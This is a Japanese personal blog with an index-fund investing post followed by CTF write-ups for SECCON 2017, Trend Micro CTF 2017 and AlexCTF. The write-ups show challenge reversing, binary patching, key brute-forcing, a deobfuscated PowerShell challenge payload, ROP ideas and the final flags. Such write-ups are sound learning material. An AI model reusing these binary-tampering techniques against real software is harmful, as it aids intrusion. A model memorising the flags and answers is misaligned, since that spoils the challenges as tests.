投資信託始めました & 2017年運用成績

投資信託始めました

前々から興味があったのでとりあえず始めてみた.
自分の運用ポリシーは以下.

  • インデックスファンドオンリー
  • 手数料重視
  • 国外:国内 = 6:4 の割合
  • 長期(10年以上)保有
    • 基本的には売らない
    • ただし資金に余裕がなくなれば売却する
  • 積立(元手がないので…)
  • 年間120万(NISA 枠を使い切る)
    • 基本的には月6万 + ボーナス月にさらに24万
    • ただし資金に余裕がなくなれば減額する
  • 毎年 12/31 に必ず運用成績をブログに書く

2017年運用成績

特にコメントするほど面白いこともないので,スクショだけ貼っておく.
f:id:yharima:20171231144337p:plain

SECCON 2017 Online writeup

SECCON 2016 Online writeup

yharima チームで参加.1900 pts で 84th でした.

Run me!

フィボナッチ数列11011 項目を求める問題.
与えられる実装は,非常に効率が悪い実装になっているので高速化してあげれば良い.
が,そんなことしなくても http://php.bubble.ro/fibonacci/ にぶち込んで,先頭 32 文字とれば良いだけ.
SECCON{65076140832331717667772761541872}

putchar music

C プログラムが与えられて,何の映画かを答える.
プログラムをみると何らかの音楽を再生していて,それを再生したら映画のタイトルがわかる,的な問題.
問題に,映画タイトルにスペースがあったら "_" に変えろ,というのがあったのと,
その昔 SECCON WARS という STAR WARS ネタがあったのと,そろそろ最後のジェダイが公開される,というあたりから, 何も考えず STAR WARS だろうと思って,入力したら正解だった.このあたりが自分が絶好調だった.
SECCON{STAR_WARS}

Powerful_Shell

power shell が与えられる.
ubuntu でも動くらしいので適当にインストールして実行してみるとエラーになる.
どうも ` が含まれているのが原因なので,置き換えてみると,ピアノの鍵盤が出て来る.
コード自体の末尾に Write-Host $ECOON 的なものを挿すとデコードされたコードがみれる.
デコードされたコードをみて,適当にデバッグログを差し込みながら解析すると,
hhjhhjhjkjhjhf を入力すると次のステージに進める.
さらに Enter password と出てくる.これは,内部にある base64 エンコードされたコードをデコードしたものと,
上記hhjhhjhjkjhjhf によって生成される鍵から復号された結果のコードが実行されている.
中身はこんな感じ.

{;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};
${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};
${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";
${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]);
${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}

これは,最後の部分が評価されて実行されている.これは,評価される前を Write-Host を実行するとさらにコードがみえる.
中身をみると最後, power shell になっていて,入力された文字が P0wEr$H311 と入力するとフラグがでる(というかそれそのものがフラグ).

SECCON{P0wEr$H311}

Simon and Speck Block Ciphers

Simon とかいう暗号化方式で暗号化された結果と plain text と鍵の一部などが与えられる.
実装自体は論文の通りにやればできるが,めんどい,適当にぐぐると以下の実装がでてくる.

GitHub - inmcm/Simon_Speck_Ciphers: Implementations of the Simon and Speck Block Ciphers

あとは以下のようなコードを書いて,鍵の不明な部分を総当りするだけ(実行ときに適当に grep する).

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <limits.h>
#include <stdlib.h>
#include "Simon.h"

int main() {
  Simon_Cipher my_simon_cipher = *(Simon_Cipher *)malloc(sizeof(Simon_Cipher));
  //uint8_t simon96_64_plain[] = {0x6d, 0x56, 0x4d, 0x37, 0x42, 0x6e, 0x6e, 0x71};
  uint8_t simon96_64_plain[] = {0x71, 0x6e, 0x6e, 0x42, 0x37, 0x4d, 0x56, 0x6d};
  //uint8_t simon96_64_cipher[] = {0xbb, 0x5d, 0x12, 0xba, 0x42, 0x28, 0x34, 0xb5};
  uint8_t simon96_64_cipher[] = {0xb5, 0x34, 0x28, 0x42, 0xba, 0x12, 0x5d, 0xbb};

  for (int c1 = 0x20; c1 <= 0x7e; ++c1) {
    for (int c2 = 0x20; c2 <= 0x7e; ++c2) {
      for (int c3 = 0x20; c3 <= 0x7e; ++c3) {
        for (int c4 = 0x20; c4 <= 0x7e; ++c4) {
          // uint8_t simon96_64_key[] = {0x53, 0x45, 0x43, 0x43, 0x4f, 0x4e, 0x7b, c1, c2, c3, c4, 0x7d};
          uint8_t simon96_64_key[] = {0x7d, c4, c3, c2, c1, 0x7b, 0x4e, 0x4f, 0x43, 0x43, 0x45, 0x53};
          Simon_Init(&my_simon_cipher, Simon_96_64, ECB, simon96_64_key, NULL, NULL);

          uint8_t ciphertext_buffer[16];
          Simon_Encrypt(my_simon_cipher, &simon96_64_plain, &ciphertext_buffer);
          printf("%c%c%c%c: %02x %02x %02x %02x %02x %02x %02x %02x\n", c1, c2, c3, c4,
           ciphertext_buffer[0], ciphertext_buffer[1], ciphertext_buffer[2], ciphertext_buffer[3],
           ciphertext_buffer[4], ciphertext_buffer[5], ciphertext_buffer[6], ciphertext_buffer[7]);
        }
      }
    }
  }
  return 0;
}

最初,与えられているデータの入力をコメントアウトされている状態で定義していたが,答えが出ずしばらくハマっていた.
よくよく考えるとリトルエンディアンで書かないとだめ?と思って逆にしてみたら答えが出た.

SECCON{6Pz0}

Thank you for playing!

SECCON{We have done all the challenges. Enjoy last 12 hours. Thank you!} 

その他

Baby Stack で無限に時間を溶かした.
EIP までは割りとあっさり奪えたのだけど,その後どう ROP するかでハマった.
最初は mmap で executable な領域を確保したあとに read で shellcode 積んで, EIP 飛ばせばいいや,と思ったのだけど,
mmpa まではできたけど pop gadget がなくてその後の ROP chain に繋げられず死亡.
その後 syscall 叩くことなども考えたけど,どれもうまくいかず終了.非常に辛い….

まとめ

国内決勝まであとちょっとだったらしい?
非常に辛いけど力不足を実感したので,また来年まで修行します.

Trend Micro CTF 2017 Online Qualifier writeup

Trend Micro CTF 2017 Online Qualifier writeup

いつもの yharima で参加.
結果は 500pts で 88th でした.微妙.
Windows バイナリを解析する力が足りない事を実感した.厳しい. 自分が解いた2問の writeup を書いておきます.

Reversing 100

記憶が微妙だけど落としてきたファイルを解凍すると, biscuit1biscuit2 が出てきたはず.
biscuit2 zip で暗号化されているので,まず biscuit1 を解析していく.
biscuit1Windows バイナリなので ollydbg に投げつけて実行してみる.
まず実行すると Please find sweets name staring from m for biscuit2. と出るので,
更にステップ実行しながらレジスタをみていると m から始まる英単語がいくつかでてくる.
適当にでてきたやつを入れていくと macaron で解凍できた.

解凍するとさらに biscuit3, biscuit4, biscuit5 が出て来る.
biscuit3jpeg で開いてもビスケットな画像だけ.
思考停止して binwalk してみると,

$ binwalk biscuit3.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
382           0x17E           Copyright string: "Copyright (c) 1998 Hewlett-Packard Company"
14253         0x37AD          Zip archive data, at least v1.0 to extract, compressed size: 5, uncompressed size: 5, name: biscuit.txt
14356         0x3814          End of Zip archive

なんか text ファイルが入っているので展開してみると中に, cream と書いてあるファイルがあるので,これがフラグの一部だと思われる.

続いて biscuit4 を見てるみるとただの text ファイルで以下のような内容.

$ cat biscuit4
Please create flag.

hint:

Flag = TMCTF{biscuit3_ biscuit5}

なるほど,ヒントで, biscuit3 は解析が終わっているのであとは biscuit5 を解析する必要がある.

biscuit5 はまた Windows バイナリなので ollydbg にかける.
適当にステップ実行して RET あたりのレジスタをみてみると choux という文字列が入ってるのでこれっぽい.

あとは,ヒントのよおり TMCTF{cream_ choux} とかで投げてみたけど通らない.
試行錯誤しているうちに最終的には TMCTF{choux_cream} で通った記憶.謎かった.

Analysis-Offensive 100

解凍すると Forensic_Encyption が出て来るので file にかけると,

$ file Forensic_Encyption
Forensic_Encyption: MS-DOS executable, MZ for MS-DOS

えっ…,ちょっと binwalk してみよう.

$ binwalk Forensic_Encyption

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
13390         0x344E          Zip archive data, at least v2.0 to extract, compressed size: 16181, uncompressed size: 20874, name: file_1
29607         0x73A7          Zip archive data, at least v2.0 to extract, compressed size: 378, uncompressed size: 418, name: file_2
30177         0x75E1          End of Zip archive

なんか埋め込まれてるので展開すると file_1file_2 が出て来る.

まず file_1 をみてみると. jpeg で開いてみるとなんか smily な画像が出てくるだけ.
binwalk してみても特に何もなさそうなので exiftool にかけると,

$ exiftool file_1
ExifTool Version Number         : 10.20
File Name                       : file_1
(snip)
User Comment                    : VHVyaW5nX01hY2hpbmVfYXV0b21hdG9u
(snip)

なんか怪しいユーザコメントがある. base64 っぽいのでデコードすると,

$ exiftool file_1 | grep "User Comment" | awk '{print $4}' | base64 -D
Turing_Machine_automaton

file_2 をみてみると zip で解凍しようとすると,

$ unzip file_2
Archive:  file_2
   skipping: key.txt                 unsupported compression method 99

なんか適当に調べていると 7z で解凍できるらしい.

$ 7z e file_2
// パスワードは `Turing_Machine_automaton`

で解凍できた. key.txt がフラグかーと思ってみてみると…

$ cat key.txt
src 192.168.30.211 dst 192.168.30.251
        proto esp spi 0xc300fae7 reqid 1 mode transport
        replay-window 32
        auth hmac(sha1) 0x2f279b853294aad4547d5773e5108de7717f5284
        enc cbc(aes) 0x9d1d2cfa9fa8be81f3e735090c7bd272
        sel src 192.168.30.211/32 dst 192.168.30.251/32
src 192.168.30.251 dst 192.168.30.211
        proto esp spi 0xce66f4fa reqid 1 mode transport
        replay-window 32
        auth hmac(sha1) 0x3bf9c1a31f707731a762ea45a85e21a2192797a3
        enc cbc(aes) 0x886f7e33d21c79ea5bac61e3e17c0422
        sel src 192.168.30.251/32 dst 192.168.30.211/32

あれ…,これは IPSec とかの通信を復号するときに使える鍵とかの情報….
でも pcap なんかなかったしどういうことなの…と思って,
元の Forensic_Encyption を strings してみると, file_3 なる文字列がみえる.
これは何か足りていないような気がするけどなんで binwalk で展開できないのかと思い,
バイナリエディタで開いて眺めてみると…,先頭は以下のようになっている.

0000000: 4d5a 0304 1400 0000 0800 f484 af4a bc79  MZ...........J.y

まあ先頭が MZ なんだから MS-DOS executable, MZ for MS-DOS なんだろう….
03 04 14 ってなんか特徴のありそうな16進数のように思えたのでググってみると,
50 4b 03 04 14 が PKZip らしい.あれこれ書き換えられてる…と思って 4d5a => 504b にして binwalk すると,

$ binwalk Forensic_Encyption

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 13354, uncompressed size: 31112, name: file_3
13390         0x344E          Zip archive data, at least v2.0 to extract, compressed size: 16181, uncompressed size: 20874, name: file_1
29607         0x73A7          Zip archive data, at least v2.0 to extract, compressed size: 378, uncompressed size: 418, name: file_2
30177         0x75E1          End of Zip archive

file_3 でてきた.そしてこいつを wireshark で開くと開ける!
さっきの key.txt を Preferences => Protocol => ESP から入れて復号して,
192.168.30.211 でフィルタすると HTTP 通信があって index.html がある.
こいつを開くと,

$ cat index.html
<HTML>
<BODY>
M4 Navy
Reflector:C Thin, beta, I, IV, II (T M J F), Plugboard: L-X/A-C/B-Y

TMCTF{APZTQQHYCKDLQZRG}

APZTQQHYCKDLQZRG is encrypted.

</BODY>
</HTML>

まだ暗号化されてるのか…, M4, Naby, Reflector, Plugboard などで検索すると,
どうやらエニグマを使って暗号化されているらしい.
チーム部屋に投げると,エニグマのシミュレータが貼られたのでポチポチそれっぽい設定をする.
最終的には以下のような設定にすると,意味のあるワードになったので投げてみた(しかし設定ミスしていることにあとできづいた).
f:id:yharima:20170625172942p:plain

TMCTF{RISINGSUNANDMOON} がフラグだった.

Analysis-Offensive 200(WIP)

入力は 8文字の数字.これを AABBCCDD と表すと以下の条件を満たす必要がありそう.

  • 入力された8桁は素数
  • AA と BB は素数
  • CC は 平方数
  • (AABB ^ (CC * CC)) >> 8 が 0
  • AABBCCDDValidate Flag: を文字としてみて全部足した結果から 0x120 を引いた結果も素数

これの中でもっとも大きい数字は 43436447 っぽく,これを入れて出力される flag.txt は TMCTF{434364}
これを入力しても通らずほぼすべての時間を溶かして死亡しました…. :sob:

AlexCTF writeup

AlexCTF writeup

いつものチームで参加.
結果は 105th, 1740pts で結構頑張った.
自分が解いた問題の writeup を書きます.

(追記)
暗号系をメインに問いてくれたメンバーの writeup をおいておきます. liniku.hatenablog.com

RE1: Gifted

思考停止して strings するだけだった.

$ strings gifted | grep AlexCTF
AlexCTF{Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing}

RE2: C++ is awesome

実行すると引数にフラグを与える様子.
何度か適当な文字列を入れて実行してみると,

$ ./re2 aaaa
Better luck next time
$ ./re2 ALEX
You should have the flag by now

どうやら,引数にとる文字列が途中まででも良いので正しければ出力が変わるっぽい.
ということなので以下みたいなクソみたいなスクリプトを書いて,1文字づつ確かめていった.

#!/bin/bash

for c in a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 _ { }; do
  echo -n "$c: "
  ./re2 $1$c
done

以下のように実行.フラグとして完成しても “L” がまだ出るのだけどどうもいらない模様だった.

$ ./re2.sh ALEXCTF{W3_L0v3_C_W1th_CL45535} | grep "You should"
L: You should have the flag by now

RE3: Catalyst system

とても時間がかかった….
ひとまず実行してみると “Loading…” みたいな感じで何もできない.
ひとまず objdump してみると sleep してたりするところがあって,
どうも rand した値によって再び sleep するかどうかを判定しているようだった.

  400e83:       e8 d8 f8 ff ff          call   400760 <sleep@plt>
  400e88:       bf 2e 00 00 00          mov    edi,0x2e
  400e8d:       e8 2e f8 ff ff          call   4006c0 <putchar@plt>
  400e92:       48 8b 05 2f 12 20 00    mov    rax,QWORD PTR [rip+0x20122f]        # 6020c8 <stdout>
  400e99:       48 89 c7                mov    rdi,rax
  400e9c:       e8 8f f8 ff ff          call   400730 <fflush@plt>
  400ea1:       83 45 fc 01             add    DWORD PTR [rbp-0x4],0x1
  400ea5:       83 7d fc 1d             cmp    DWORD PTR [rbp-0x4],0x1d
  400ea9:       7e bc                   jle    400e67 <rand@plt+0x6f7>

上記のような箇所が2箇所あるので以下のような感じで jle を潰した.

0x00000EAA 7E 90
0x00000EAB BC 90
0x00000F63 7E 90
0x00000F64 C2 90

これでようやく入力を受けつけるところにいける.
Username と Password を求められるので適当に実行してみるがよくわからず.
ひとまず Username を解析していくと…,

  400cdd:    55                       push   rbp
  400cde:    48 89 e5                 mov    rbp,rsp
  400ce1:    48 83 ec 30              sub    rsp,0x30
  400ce5:    48 89 7d d8              mov    QWORD PTR [rbp-0x28],rdi
  400ce9:    48 8b 45 d8              mov    rax,QWORD PTR [rbp-0x28]
  400ced:    48 89 45 f8              mov    QWORD PTR [rbp-0x8],rax
  400cf1:    48 8b 45 f8              mov    rax,QWORD PTR [rbp-0x8]
  400cf5:    8b 00                    mov    eax,DWORD PTR [rax]
  400cf7:    89 c0                    mov    eax,eax
  400cf9:    48 89 45 f0              mov    QWORD PTR [rbp-0x10],rax
  400cfd:    48 8b 45 f8              mov    rax,QWORD PTR [rbp-0x8]
  400d01:    48 83 c0 04              add    rax,0x4
  400d05:    8b 00                    mov    eax,DWORD PTR [rax]
  400d07:    89 c0                    mov    eax,eax
  400d09:    48 89 45 e8              mov    QWORD PTR [rbp-0x18],rax
  400d0d:    48 8b 45 f8              mov    rax,QWORD PTR [rbp-0x8]
  400d11:    48 83 c0 08              add    rax,0x8
  400d15:    8b 00                    mov    eax,DWORD PTR [rax]
  400d17:    89 c0                    mov    eax,eax
  400d19:    48 89 45 e0              mov    QWORD PTR [rbp-0x20],rax
  400d1d:    48 8b 45 f0              mov    rax,QWORD PTR [rbp-0x10]
  400d21:    48 2b 45 e8              sub    rax,QWORD PTR [rbp-0x18]
  400d25:    48 89 c2                 mov    rdx,rax
  400d28:    48 8b 45 e0              mov    rax,QWORD PTR [rbp-0x20]
  400d2c:    48 01 d0                 add    rax,rdx
  400d2f:    48 3d 56 4b 66 5c        cmp    rax,0x5c664b56
  400d35:    75 45                    jne    400d7c <rand@plt+0x60c>
  400d37:    48 8b 55 f0              mov    rdx,QWORD PTR [rbp-0x10]
  400d3b:    48 8b 45 e0              mov    rax,QWORD PTR [rbp-0x20]
  400d3f:    48 01 c2                 add    rdx,rax
  400d42:    48 89 d0                 mov    rax,rdx
  400d45:    48 01 c0                 add    rax,rax
  400d48:    48 01 c2                 add    rdx,rax
  400d4b:    48 8b 45 e8              mov    rax,QWORD PTR [rbp-0x18]
  400d4f:    48 01 c2                 add    rdx,rax
  400d52:    48 b8 b2 c7 00 e7 02     mov    rax,0x2e700c7b2
  400d59:    00 00 00
  400d5c:    48 39 c2                 cmp    rdx,rax
  400d5f:    75 1b                    jne    400d7c <rand@plt+0x60c>
  400d61:    48 8b 45 e8              mov    rax,QWORD PTR [rbp-0x18]
  400d65:    48 0f af 45 e0           imul   rax,QWORD PTR [rbp-0x20]
  400d6a:    48 89 c2                 mov    rdx,rax
  400d6d:    48 b8 14 d3 6a 9a 68     mov    rax,0x32ac30689a6ad314
  400d74:    30 ac 32
  400d77:    48 39 c2                 cmp    rdx,rax
  400d7a:    74 14                    je     400d90 <rand@plt+0x620>
  400d7c:    bf 69 10 40 00           mov    edi,0x401069
  400d81:    e8 4a f9 ff ff           call   4006d0 <puts@plt>
  400d86:    bf 00 00 00 00           mov    edi,0x0
  400d8b:    e8 c0 f9 ff ff           call   400750 <exit@plt>
  400d90:    90                       nop
  400d91:    c9                       leave
  400d92:    c3                       ret

こんな感じでやる気がなくなりそうになりながらも解析していく.
ユーザ名は12文字で,ひとまず XXXXYYYYZZZZ とすると,
rbp - 0x10 = "XXXX", rbp - 0x18 = "YYYY", rbp - 0x20 = "ZZZZ" で,
XXXX = X, YYYY = Y, ZZZZ = Z とおくと,上記の部分は以下の式を満たす X, Y, Z である必要がある.

X - Y + Z == 0x5c664b56
3X + Y + 3Z == 0x2e700c7b2
Y * Z == 0x32ac30689a6ad314

適当に計算すると,

X = 0x61746163 // cata
Y = 0x7473796c // lyst
Z = 0x6f65635f // _ceo

で username は catalyst_ceo であることがわかった.
次にパスワードを解析していく.パスワードは以下のようなコードで比較している.

  400a4c:       48 8b 45 e0             mov    rax,QWORD PTR [rbp-0x20]
  400a50:       8b 10                   mov    edx,DWORD PTR [rax]
  400a52:       48 8b 45 e0             mov    rax,QWORD PTR [rbp-0x20]
  400a56:       48 83 c0 04             add    rax,0x4
  400a5a:       8b 00                   mov    eax,DWORD PTR [rax]
  400a5c:       01 c2                   add    edx,eax
  400a5e:       48 8b 45 e0             mov    rax,QWORD PTR [rbp-0x20]
  400a62:       48 83 c0 08             add    rax,0x8
  400a66:       8b 00                   mov    eax,DWORD PTR [rax]
  400a68:       01 d0                   add    eax,edx
  400a6a:       89 c7                   mov    edi,eax
  400a6c:       e8 8f fc ff ff          call   400700 <srand@plt>
  400a71:       48 8b 45 d8             mov    rax,QWORD PTR [rbp-0x28]
  400a75:       8b 18                   mov    ebx,DWORD PTR [rax]
  400a77:       e8 f4 fc ff ff          call   400770 <rand@plt>
  400a7c:       29 c3                   sub    ebx,eax
  400a7e:       89 d8                   mov    eax,ebx
  400a80:       3d 2a 05 eb 55          cmp    eax,0x55eb052a
  400a85:       74 14                   je     400a9b <rand@plt+0x32b>
  400a87:       bf 69 10 40 00          mov    edi,0x401069
  400a8c:       e8 3f fc ff ff          call   4006d0 <puts@plt>
  400a91:       bf 00 00 00 00          mov    edi,0x0
  400a96:       e8 b5 fc ff ff          call   400750 <exit@plt>

srand に渡っているのは X + Y + Z とユーザ名を4文字づつに区切って足した結果だった.
これで常にシードは固定されているので rand の値は一意に定まる.
パスワードの4文字 - rand() = 0x55eb052a(ここの16進数は上記逆汗結果の後続にあと9個ある) で比較しているので,
パスワード4文字は 0x55eb052a - rand() で求まる.
ltrace とかすると rand によって吐かれた値はわかるので,あとは objdump の結果から計算していく.
最終的には, sLSVpQ4vK3cGWyW86AiZhggwLHBjmx9CRspVGggj というパスワードが得られる.
あとは,求めたユーザ名とパスワードを入力するとフラグに出る.

$ ./catalyst
 ▄▄▄▄▄▄▄▄▄▄▄  ▄            ▄▄▄▄▄▄▄▄▄▄▄  ▄       ▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░▌          ▐░░░░░░░░░░░▌▐░▌     ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀█░▌▐░▌          ▐░█▀▀▀▀▀▀▀▀▀  ▐░▌   ▐░▌ ▐░█▀▀▀▀▀▀▀▀▀  ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀
▐░▌       ▐░▌▐░▌          ▐░▌            ▐░▌ ▐░▌  ▐░▌               ▐░▌     ▐░▌
▐░█▄▄▄▄▄▄▄█░▌▐░▌          ▐░█▄▄▄▄▄▄▄▄▄    ▐░▐░▌   ▐░▌               ▐░▌     ▐░█▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░▌          ▐░░░░░░░░░░░▌    ▐░▌    ▐░▌               ▐░▌     ▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀█░▌▐░▌          ▐░█▀▀▀▀▀▀▀▀▀    ▐░▌░▌   ▐░▌               ▐░▌     ▐░█▀▀▀▀▀▀▀▀▀
▐░▌       ▐░▌▐░▌          ▐░▌            ▐░▌ ▐░▌  ▐░▌               ▐░▌     ▐░▌
▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄▄▄  ▐░▌   ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄      ▐░▌     ▐░▌
▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌     ▐░▌▐░░░░░░░░░░░▌     ▐░▌     ▐░▌
 ▀         ▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀       ▀  ▀▀▀▀▀▀▀▀▀▀▀       ▀       ▀
Welcome to Catalyst systems
Loading
Username: catalyst_ceo
Password: sLSVpQ4vK3cGWyW86AiZhggwLHBjmx9CRspVGggj
Logging in
your flag is: ALEXCTF{1_t41d_y0u_y0u_ar3__gr34t__reverser__s33}

RE4: unVM me

バイコンパイルされた python が与えられる.
uncompyle2 を使ってデコンパイルする.

$ uncompyle2 unvm_me.pyc
# 2017.02.06 19:16:30 JST
#Embedded file name: unvm_me.py
import md5
md5s = [174282896860968005525213562254350376167L,
 137092044126081477479435678296496849608L,
 126300127609096051658061491018211963916L,
 314989972419727999226545215739316729360L,
 256525866025901597224592941642385934114L,
 115141138810151571209618282728408211053L,
 8705973470942652577929336993839061582L,
 256697681645515528548061291580728800189L,
 39818552652170274340851144295913091599L,
 65313561977812018046200997898904313350L,
 230909080238053318105407334248228870753L,
 196125799557195268866757688147870815374L,
 74874145132345503095307276614727915885L]
print 'Can you turn me back to python ? ...'
flag = raw_input('well as you wish.. what is the flag: ')
if len(flag) > 69:
    print 'nice try'
    exit()
if len(flag) % 5 != 0:
    print 'nice try'
    exit()
for i in range(0, len(flag), 5):
    s = flag[i:i + 5]
    if int('0x' + md5.new(s).hexdigest(), 16) != md5s[i / 5]:
        print 'nice try'
        exit()

print 'Congratz now you have the flag'

どうやらフラグは65文字で5文字ずつ md5 と比較して一致するかどうかを判定している.
13個の md5 を16進数に変換して md5online に投げて結合した.

CR1: Ultracoded

ZERO と ONE が書かれたファイルが与えられる.
2進数かな?と重い ZERO = 0, ONE = 1 に置換する.
次に 8bit づつ区切って ASCII に変換すると以下のようになる.

Li0gLi0uLiAuIC0uLi0gLS4tLiAtIC4uLS4gLSAuLi4uIC4tLS0tIC4uLi4uIC0tLSAuLS0tLSAuLi4gLS0tIC4uLi4uIC4uLSAuLS0uIC4uLi0tIC4tLiAtLS0gLi4uLi4gLiAtLi0uIC4tLiAuLi4tLSAtIC0tLSAtIC0uLi0gLQ==

どうみても base64 なので decode すると,

$ echo "Li0gLi0uLiAuIC0uLi0gLS4tLiAtIC4uLS4gLSAuLi4uIC4tLS0tIC4uLi4uIC0tLSAuLS0tLSAuLi4gLS0tIC4uLi4uIC4uLSAuLS0uIC4uLi0tIC4tLiAtLS0gLi4uLi4gLiAtLi0uIC4tLiAuLi4tLSAtIC0tLSAtIC0uLi0gLQ==" | base64 -D
.- .-.. . -..- -.-. - ..-. - .... .---- ..... --- .---- ... --- ..... ..- .--. ...-- .-. --- ..... . -.-. .-. ...-- - --- - -..- -

モールス信号なので適当なサイトに投げてデコードすると,

ALEXCTFTH15O1SO5UP3RO5ECR3TOTXT

このままではフラグの形式じゃないので

ALEXCTF{TH15O1SO5UP3RO5ECR3TOTXT}

としてみるも駄目.O のところは普段 _ だよなぁ…とか思って置換したら正解だった.

Fore1: Hit the core

思考停止して strings してみると,

$ strings fore1.core
(snip)
cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv}
(snip)

大文字だけみると ALEXCTF になっている.先頭の cvq を落として5文字ごとに読むとフラグになるのでは?
と思って適当なスクリプトで5文字ごと抜いてみるとフラグになった.

ALEXCTF{K33P_7H3_g00D_w0rk_up}

SC1: Math bot

nc すると計算式が与えられる.ひたすら解くゲーかと思って以下のような適当なスクリプトを書いて走らせた.

import sys
import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('195.154.53.62', 1337))

msg = s.recv(1024).strip().split('\n')
s.send(str(eval(msg[22][:-2])) + '\n')

while True:
    msg = s.recv(1024).strip().split('\n')
    print msg
    s.send(str(eval(msg[1][:-2])) + '\n')

実行すると,

['Question  500 :', '29361097422042903253933445930908 * 312827792771128387861804825784952 =']
['Well no human got time to solve 500 ridiculous math challenges', 'Congrats MR bot!', 'Tell your human operator flag is: ALEXCTF{1_4M_l33t_b0t}']

な感じでフラグが取れた.

TR2: SSL 0day

騒ぎになった Heartbleed だった.

TR3: CA

見てみると Let’s encrypt だったので,何度か入力すると letsencrypt で正解だった.

CTF について

この記事は OIT Advent Calendar 2016 の 25 日目の記事です.
まさか空いているのが最終日しかなくてトリになるとは….

自己紹介

Twitteryuta1024 というアカウントでやっています.
OIT は 2008年入学・2012年卒業でその後は他大学院に進学したので,大学を離れてもう4年以上になります.
HxS コンピュータサークルに所属していて,サーバ管理者をやっていました.
今は,東京のとある企業で社内開発者向けのプラットフォーム開発・運用などを行っています.

大学の後輩である odan3240 君との繋がりで,初めて Advent Calendar を書くことになりました.

